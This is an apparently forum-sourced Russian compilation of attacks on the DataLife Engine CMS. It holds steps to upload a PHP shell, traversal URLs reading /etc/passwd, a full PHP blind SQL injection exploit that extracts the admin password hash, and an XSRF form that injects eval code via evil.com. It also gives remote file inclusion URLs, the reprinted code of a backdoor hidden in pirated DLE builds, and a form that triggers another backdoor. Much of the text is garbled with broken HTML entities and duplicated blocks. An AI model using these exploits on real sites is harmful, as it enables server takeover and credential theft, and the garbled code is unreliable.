Как узнать установленную версию DLE?
1. Открываем: site.com/engine/ajax/updates.php
2. Смотрим установленную версию
Как залить шелл в DLE v4.1-8.2?
Итак, заходим в админцентр.
Далее нажимаем "Другие разделы"
Выбираем где-то в конце "Архив файлов"
Идём на "Настройка Архива Файлов"
Допустимые форматы файлов: дописываем php.
Сохраняемся, идём в "Добавить файл".
Заливаем шелл
Его дальше видно в разделе "Файловый Архив" для всех и в свойствах загруженного файла в редактировании файлов в админке.
Автор способа: desTiny
DataLife Engine <= v4.1
sql-inj
Уязвимость существует из-за недостаточной обработки входных данных в параметре "user" в сценарии index.php.
DataLife Engine <= v4.2
http ://dle.com/engine/ajax/vote.php?vote_action=results&vote_skin=../../../.
./../../../../../../../etc/passwd�
Раскрытие полного установочного пути:
DataLife Engine v6.3
Раскрытие пути:
DataLife Engine v6.7
Раскрытие пути:
http://site/engine/inc/init.php
http://site/engine/inc/preview.php
http://site/engine/data/dbconfig.php (работает не везде)
http://site/upgrade/error.php
http://site/upgrade/finish.php
http://site/upgrade/template.php
DLE v6.7 Online Mod Exploit Blind SQL Injection:
XSRF баг:
Получение шелла через залогиненного админа:
получение:
DataLife Engine v8.2
Отсутствие фильтрации в /engine/init.php
Уязвимость заключается в отсутствии фильтрации параметра "dle_skin" в файле init.php и позволяет увидеть пути к корню сайта.
1. Заходим на сайт DLE. Открываем браузером менеджер куки. Изменяем / добавляем параметр, название которого ставим
dle_skin
и значение
../
2. Отправляем запрос на сайт:
GET / HTTP/1.1
Host: dle-news.ru
Cookie: dle_skin=../
Cookie2: $Version=1
Connection: Close
3. После этого на сайте видим ошибку:
Warning: include_once([PATH]): failed to open stream: No such file or directory in [PATH] on line 314
Warning: include_once(): Failed opening '[PATH]' for inclusion (include_path='.;C:php5pear') in [PATH] on line 314
Невозможно загрузить шаблон: shortstory.tpl
[PATH] - это и есть раскрытие путей.
4. Соображающие люди поймут как сделать из этого LFI.
Автор: mailbrush
"Уязвимость" восстановления пароля:
/index.php?do=lostpassword&douser=1&lostid=
Получаем пас от пользователя с id 1
DatalifeEngine 8.2 Remote File Inclusion Vulnerability
DataLife Engine v8.3
Раскрытие путей:
1. Открываем site.ru/engine/images.php?area=short_story&add_id=
2. Грузим картинку и получаем раскрытые пути.
Бэкдор в нулле DLE
Файл лежит в (/engine/ajax/updates.php). Код бэкдора:
DataLife Engine v8.5
Бекдор в нулле от M.I.D-Team. Бекдор . eval() через $_POST в uploadengineajaxkeywords.php
Вызвать его можно так:
1. Открываем: site.com/engine/ajax/updates.php
2. Смотрим установленную версию
Как залить шелл в DLE v4.1-8.2?
Итак, заходим в админцентр.
Далее нажимаем "Другие разделы"
Выбираем где-то в конце "Архив файлов"
Идём на "Настройка Архива Файлов"
Допустимые форматы файлов: дописываем php.
Сохраняемся, идём в "Добавить файл".
Заливаем шелл
Его дальше видно в разделе "Файловый Архив" для всех и в свойствах загруженного файла в редактировании файлов в админке.
Автор способа: desTiny
DataLife Engine <= v4.1
sql-inj
Уязвимость существует из-за недостаточной обработки входных данных в параметре "user" в сценарии index.php.
DataLife Engine <= v4.2
http ://dle.com/engine/ajax/vote.php?vote_action=results&vote_skin=../../../.
./../../../../../../../etc/passwd�
Раскрытие полного установочного пути:
http ://dle.com/index.php?do=pm&doaction=newpm&user[]=
DataLife Engine v6.3
Раскрытие пути:
dle.com/index.php?catalog[]=
DataLife Engine v6.7
Раскрытие пути:
http://site/engine/inc/init.php
http://site/engine/inc/preview.php
http://site/engine/data/dbconfig.php (работает не везде)
http://site/upgrade/error.php
http://site/upgrade/finish.php
http://site/upgrade/template.php
DLE v6.7 Online Mod Exploit Blind SQL Injection:
<?php
/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
/**
* DataLifeEngine Online Mod Exploit Blind SQL Injection. Found by Maxster
* Need magic_quotes_gpc off and mysql version higher than 4.0 (on server)
*
* Useful: email, password, name
*
* PHP versions 4 and 5
*
* LICENSE: This source file is subject to version 3.0 of the PHP license
* that is available through the world-wide-web at the following URI:
* http://www.php.net/license/3_0.txt. If you did not receive a copy of
* the PHP License and are unable to obtain it through the web, please
* send a note to license@php.net so we can mail you a copy immediately.
*
* @category Exploit
* @package None
* @author Eugene Minaev <underwater@itdefence.ru>
* @copyright 2008 ITDefence.ru
* @license http://www.php.net/license/3_0.txt &nbs
p;PHP License 3.0
* @version CVS: $Id:$
* @link http://underwater.itdefence.ru
* @since File available since Release 0x00
*/
@set_time_limit(0);
@ini_set('output_buffer', 0);
?>
<html>
<head>
&n
bsp; <title>DataLifeEngine Online Mod Exploit Blind SQL Injection</title>
&n
bsp; <style type="text/css">
&n
bsp; body{
&n
bsp; &
;
;
;nbs
p; font-family: Tahoma;
&n
bsp; &
;
;
;nbs
p; font-size: 12px;
&n
bsp; &
;
;
;nbs
p; color: #e1e1e1;
&n
bsp; &
;
;
;nbs
p; background-color: #222;
&n
bsp; }
&n
bsp; </style>
</head>
<body>
&n
bsp; <center>
&n
bsp; <form method="post" action="<?php echo $_SERVER['SCRIPT_NAME']?>">
&n
bsp; dle path:<input type="text" name="server" value="http://localhost/dle/" />
&n
bsp; <br/><br/>
&n
bsp; admin id: <input type="text" name="userid" value="1" />
&n
bsp; <br/><br/>
&n
bsp; <input type="submit" />
&n
bsp; </form>
&n
bsp; </center>
</body>
</html>
<?php
if (!empty($_POST))
{
$_ = create_function('$error', 'die("$error");');
$userid = isset($_POST['userid']) ? (int) $_POST['userid'] : null;
$server = isset($_POST['server']) ? $_POST['server'] : null;
$alphabet = array('a', 'b', 'c', 'd', 'e', 'f', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0');
$responce = null;
$password = null;
$curpos = 1;
$alppos = 0;
$flag = false;
$pathinfo = parse_url($server);
if (false === is_array($pathinfo) or empty($pathinfo['host'])) {
&n
bsp; $_('invalid url');
} else {
&n
bsp; $fsocket = fsockopen($pathinfo['host'], 80) or
&n
bsp; $_('hostname is dead');
&n
bsp; $request = "GET {$pathinfo['path']} HTTP/1.1rn"
&n
bsp; &
;
;
;nbs
p; . "Host: {$pathinfo['host']}rn"
&n
bsp; &
;
;
;nbs
p; . "Cookie: dle_onl_session='underWHAT?!rnrn";
&n
bsp; fwrite($fsocket, $request) or
&n
bsp; $_ ('failed to write data to socket');
&n
bsp; while ($flag === false){
&n
bsp; &
;
;
;nbs
p; $respo
nce .= fread($fsocket, 128);
&n
bsp; &
;
;
;nbs
p; $flag = strpos($responce, '</html>') ? true: false;
&n
bsp; }
$flag = false;
&n
bsp; if (strpos($responce, 'MySQL Error') > 0){
&n
bsp; while (strlen($password) < 32)
&n
bsp; {
&n
bsp; &
;
;
;nbs
p; $fsocket = fsockopen($pathinfo['host'], 80) or
&n
bsp; &
;
;
;nbs
p; $_(
;
;
;'hostname is dead');
&n
bsp; &
;
;
;nbs
p; $responce = null;
&n
bsp; &
;
;
;nbs
p; $cookie = "' or 1=if(substring((select password from dle_users where user_id = $userid),$curpos,1)='{$alphabet[$alppos]}',1,(se
lect
1 union select 3))/*";
&n
bsp; &
;
;
;nbs
p; $request = "GET {$pathinfo['path']} HTTP/1.1rn"
&n
bsp; &
;
;
;nbs
p;
. "Host: {$pathinfo['host']}rn"
&n
bsp; &
;
;
;nbs
p;
. "Connection: closern"
&n
bsp; &
;
;
;nbs
p;
. "Cookie: dle_onl_session=$cookiernrn";
&n
bsp; &
;
;
;nbs
p; fwrite($fsocket, $request) or
&n
bsp; &
;
;
;nbs
p; $_ ('failed to write data to socket');
&n
bsp; &
;
;
;nbs
p; $responce = fread($fsocket, 8000);
&n
bsp; &
;
;
;nbs
p; if (!strpos($responce, 'returns more than 1 row')){
&n
bsp; &
;
;
;nbs
p; $passw
ord .= $alphabet[$alppos];
&n
bsp; &
;
;
;nbs
p; $curpo
s += 1;
&n
bsp; &
;
;
;nbs
p; $alppo
s = 0;
&n
bsp; &
;
;
;nbs
p; } else {
&n
bsp; &
;
;
;nbs
p; $alppo
s += 1;
&n
bsp; &
;
;
;nbs
p; }
&n
bsp; &
;
;
;nbs
p; $flag = false;
&n
bsp; &
;
;
;nbs
p; $responce = null;
&n
bsp; &
;
;
;nbs
p; fclose($fsocket);
&n
bsp; }
&n
bsp; } else {
die ('<center><h1>not vulnerable</h1></center>');
}
&n
bsp; echo "<center><h1>$password</h1></center>"
;;&a
mp;n
bsp; &
;
;
;nbs
p;
}
}
?>
/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
/**
* DataLifeEngine Online Mod Exploit Blind SQL Injection. Found by Maxster
* Need magic_quotes_gpc off and mysql version higher than 4.0 (on server)
*
* Useful: email, password, name
*
* PHP versions 4 and 5
*
* LICENSE: This source file is subject to version 3.0 of the PHP license
* that is available through the world-wide-web at the following URI:
* http://www.php.net/license/3_0.txt. If you did not receive a copy of
* the PHP License and are unable to obtain it through the web, please
* send a note to license@php.net so we can mail you a copy immediately.
*
* @category Exploit
* @package None
* @author Eugene Minaev <underwater@itdefence.ru>
* @copyright 2008 ITDefence.ru
* @license http://www.php.net/license/3_0.txt &nbs
p;PHP License 3.0
* @version CVS: $Id:$
* @link http://underwater.itdefence.ru
* @since File available since Release 0x00
*/
@set_time_limit(0);
@ini_set('output_buffer', 0);
?>
<html>
<head>
&n
bsp; <title>DataLifeEngine Online Mod Exploit Blind SQL Injection</title>
&n
bsp; <style type="text/css">
&n
bsp; body{
&n
bsp; &
;
;
;nbs
p; font-family: Tahoma;
&n
bsp; &
;
;
;nbs
p; font-size: 12px;
&n
bsp; &
;
;
;nbs
p; color: #e1e1e1;
&n
bsp; &
;
;
;nbs
p; background-color: #222;
&n
bsp; }
&n
bsp; </style>
</head>
<body>
&n
bsp; <center>
&n
bsp; <form method="post" action="<?php echo $_SERVER['SCRIPT_NAME']?>">
&n
bsp; dle path:<input type="text" name="server" value="http://localhost/dle/" />
&n
bsp; <br/><br/>
&n
bsp; admin id: <input type="text" name="userid" value="1" />
&n
bsp; <br/><br/>
&n
bsp; <input type="submit" />
&n
bsp; </form>
&n
bsp; </center>
</body>
</html>
<?php
if (!empty($_POST))
{
$_ = create_function('$error', 'die("$error");');
$userid = isset($_POST['userid']) ? (int) $_POST['userid'] : null;
$server = isset($_POST['server']) ? $_POST['server'] : null;
$alphabet = array('a', 'b', 'c', 'd', 'e', 'f', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0');
$responce = null;
$password = null;
$curpos = 1;
$alppos = 0;
$flag = false;
$pathinfo = parse_url($server);
if (false === is_array($pathinfo) or empty($pathinfo['host'])) {
&n
bsp; $_('invalid url');
} else {
&n
bsp; $fsocket = fsockopen($pathinfo['host'], 80) or
&n
bsp; $_('hostname is dead');
&n
bsp; $request = "GET {$pathinfo['path']} HTTP/1.1rn"
&n
bsp; &
;
;
;nbs
p; . "Host: {$pathinfo['host']}rn"
&n
bsp; &
;
;
;nbs
p; . "Cookie: dle_onl_session='underWHAT?!rnrn";
&n
bsp; fwrite($fsocket, $request) or
&n
bsp; $_ ('failed to write data to socket');
&n
bsp; while ($flag === false){
&n
bsp; &
;
;
;nbs
p; $respo
nce .= fread($fsocket, 128);
&n
bsp; &
;
;
;nbs
p; $flag = strpos($responce, '</html>') ? true: false;
&n
bsp; }
$flag = false;
&n
bsp; if (strpos($responce, 'MySQL Error') > 0){
&n
bsp; while (strlen($password) < 32)
&n
bsp; {
&n
bsp; &
;
;
;nbs
p; $fsocket = fsockopen($pathinfo['host'], 80) or
&n
bsp; &
;
;
;nbs
p; $_(
;
;
;'hostname is dead');
&n
bsp; &
;
;
;nbs
p; $responce = null;
&n
bsp; &
;
;
;nbs
p; $cookie = "' or 1=if(substring((select password from dle_users where user_id = $userid),$curpos,1)='{$alphabet[$alppos]}',1,(se
lect
1 union select 3))/*";
&n
bsp; &
;
;
;nbs
p; $request = "GET {$pathinfo['path']} HTTP/1.1rn"
&n
bsp; &
;
;
;nbs
p;
. "Host: {$pathinfo['host']}rn"
&n
bsp; &
;
;
;nbs
p;
. "Connection: closern"
&n
bsp; &
;
;
;nbs
p;
. "Cookie: dle_onl_session=$cookiernrn";
&n
bsp; &
;
;
;nbs
p; fwrite($fsocket, $request) or
&n
bsp; &
;
;
;nbs
p; $_ ('failed to write data to socket');
&n
bsp; &
;
;
;nbs
p; $responce = fread($fsocket, 8000);
&n
bsp; &
;
;
;nbs
p; if (!strpos($responce, 'returns more than 1 row')){
&n
bsp; &
;
;
;nbs
p; $passw
ord .= $alphabet[$alppos];
&n
bsp; &
;
;
;nbs
p; $curpo
s += 1;
&n
bsp; &
;
;
;nbs
p; $alppo
s = 0;
&n
bsp; &
;
;
;nbs
p; } else {
&n
bsp; &
;
;
;nbs
p; $alppo
s += 1;
&n
bsp; &
;
;
;nbs
p; }
&n
bsp; &
;
;
;nbs
p; $flag = false;
&n
bsp; &
;
;
;nbs
p; $responce = null;
&n
bsp; &
;
;
;nbs
p; fclose($fsocket);
&n
bsp; }
&n
bsp; } else {
die ('<center><h1>not vulnerable</h1></center>');
}
&n
bsp; echo "<center><h1>$password</h1></center>"
;;&a
mp;n
bsp; &
;
;
;nbs
p;
}
}
?>
XSRF баг:
site.com/dle/engine/modules/imagepreview.php?image=[XSRF]
Получение шелла через залогиненного админа:
<form action="http://evil.com/admin.php?mod=options&action=syscon"
method="post">
<input name="save_con[test');@eval(trim(stripslashes($l
ala&
amp;
#41;));$config=ar ray('test]" value="test"/>
<input type=hidden name=action value=dosavesyscon>
<input type="submit" value="ok"/>
</form>
method="post">
<input name="save_con[test');@eval(trim(stripslashes($l
ala&
amp;
#41;));$config=ar ray('test]" value="test"/>
<input type=hidden name=action value=dosavesyscon>
<input type="submit" value="ok"/>
</form>
получение:
http ://evil.com/adm.php?mod=options&action=syscon&lala=phpcode()
DataLife Engine v8.2
Отсутствие фильтрации в /engine/init.php
Уязвимость заключается в отсутствии фильтрации параметра "dle_skin" в файле init.php и позволяет увидеть пути к корню сайта.
1. Заходим на сайт DLE. Открываем браузером менеджер куки. Изменяем / добавляем параметр, название которого ставим
dle_skin
и значение
../
2. Отправляем запрос на сайт:
GET / HTTP/1.1
Host: dle-news.ru
Cookie: dle_skin=../
Cookie2: $Version=1
Connection: Close
3. После этого на сайте видим ошибку:
Warning: include_once([PATH]): failed to open stream: No such file or directory in [PATH] on line 314
Warning: include_once(): Failed opening '[PATH]' for inclusion (include_path='.;C:php5pear') in [PATH] on line 314
Невозможно загрузить шаблон: shortstory.tpl
[PATH] - это и есть раскрытие путей.
4. Соображающие люди поймут как сделать из этого LFI.
Автор: mailbrush
"Уязвимость" восстановления пароля:
/index.php?do=lostpassword&douser=1&lostid=
Получаем пас от пользователя с id 1
DatalifeEngine 8.2 Remote File Inclusion Vulnerability
www.site/path /engine/api/api.class.php?dle_config_api=[shell.txt?]
DataLife Engine v8.3
http://localhost/upload/engine/inc/i..._language=http
8;//localhost/c.txt?
http://localhost/upload/engine/inc/help.php?config[langs]=http:/
/localhost/c.txt?
http://localhost/upload/engine/ajax/pm.php?config[lang_=[URL]http://local[/URL]
host/c.txt?
http://localhost/upload/engine/ajax/...s.php?_REQUEST[skin]&a
mp;a
mp;a
mp;#
93;=http://localhost/c.txt?
http://localhost/upload/engine/ajax/...s.php?_REQUEST[skin]&a
mp;a
mp;a
mp;#
93;=http://localhost/c.txt?
8;//localhost/c.txt?
http://localhost/upload/engine/inc/help.php?config[langs]=http:/
/localhost/c.txt?
http://localhost/upload/engine/ajax/pm.php?config[lang_=[URL]http://local[/URL]
host/c.txt?
http://localhost/upload/engine/ajax/...s.php?_REQUEST[skin]&a
mp;a
mp;a
mp;#
93;=http://localhost/c.txt?
http://localhost/upload/engine/ajax/...s.php?_REQUEST[skin]&a
mp;a
mp;a
mp;#
93;=http://localhost/c.txt?
Раскрытие путей:
if ($_COOKIE['dle_skin']) {
if (@is_dir ( ROOT_DIR . '/templates/' . $_COOKIE['dle_skin'] )) {
$config['skin'] = $_COOKIE['dle_skin'];
}
}
if (@is_dir ( ROOT_DIR . '/templates/' . $_COOKIE['dle_skin'] )) {
$config['skin'] = $_COOKIE['dle_skin'];
}
}
1. Открываем site.ru/engine/images.php?area=short_story&add_id=
2. Грузим картинку и получаем раскрытые пути.
Бэкдор в нулле DLE
Файл лежит в (/engine/ajax/updates.php). Код бэкдора:
if($_GET['wert']==''){
require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng
9;;
$config['charset'] = ($lang['charset'] != '') ? $lang['charset'] : $config['charset'];
@header("HTTP/1.0 200 OK");
@header("HTTP/1.1 200 OK");
@header("Cache-Control: no-cache, must-revalidate, max-age=0");
@header("Expires: 0");
@header("Pragma: no-cache");
@header("Content-type: text/css; charset=".$config['charset']);
$data = @file_get_contents("http://www.dle-news.ru/extras/updates.php?vers
io
n_id=".$_REQUEST['versionid']."&key=".
$config
1;'key']);
if (!strlen($data)) echo $lang['no_update']; else echo $data;
}else{
$file=(ROOT_DIR."/engine/classes/mysql.class.php");
if(file_exists($file)){ @require($file); $x.="mysql.class.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/dbconfig.php");
if(file_exists($file)){ @require($file); $x.="dbconfig.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/config.php");
if(file_exists($file)){ @require($file); $x.="config.php - ok<br />";}
eval(base64_decode($_GET['user_id']));
echo <<<HTML
<HTML><body><form action="" method="post">
<center><textarea name="text" rows="10" cols="100"></textarea>
<br /><input type="submit" value="Canoinoaaoe"/></center></form></body&
#62;
</HTML>
HTML;
if($_POST['text']!=''){eval(stripcsl
ashes
0;$_POST['text']));
}}
require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng
9;;
$config['charset'] = ($lang['charset'] != '') ? $lang['charset'] : $config['charset'];
@header("HTTP/1.0 200 OK");
@header("HTTP/1.1 200 OK");
@header("Cache-Control: no-cache, must-revalidate, max-age=0");
@header("Expires: 0");
@header("Pragma: no-cache");
@header("Content-type: text/css; charset=".$config['charset']);
$data = @file_get_contents("http://www.dle-news.ru/extras/updates.php?vers
io
n_id=".$_REQUEST['versionid']."&key=".
$config
1;'key']);
if (!strlen($data)) echo $lang['no_update']; else echo $data;
}else{
$file=(ROOT_DIR."/engine/classes/mysql.class.php");
if(file_exists($file)){ @require($file); $x.="mysql.class.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/dbconfig.php");
if(file_exists($file)){ @require($file); $x.="dbconfig.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/config.php");
if(file_exists($file)){ @require($file); $x.="config.php - ok<br />";}
eval(base64_decode($_GET['user_id']));
echo <<<HTML
<HTML><body><form action="" method="post">
<center><textarea name="text" rows="10" cols="100"></textarea>
<br /><input type="submit" value="Canoinoaaoe"/></center></form></body&
#62;
</HTML>
HTML;
if($_POST['text']!=''){eval(stripcsl
ashes
0;$_POST['text']));
}}
DataLife Engine v8.5
Бекдор в нулле от M.I.D-Team. Бекдор . eval() через $_POST в uploadengineajaxkeywords.php
Вызвать его можно так:
<form name="eval" action="http://site.com/upload/engine/ajax/keywords.php" method="post">
<input type="text" name="text" value="phpinfo();"><br />
<input type="submit" name="submit" value="zapros">
</form>
<input type="text" name="text" value="phpinfo();"><br />
<input type="submit" name="submit" value="zapros">
</form>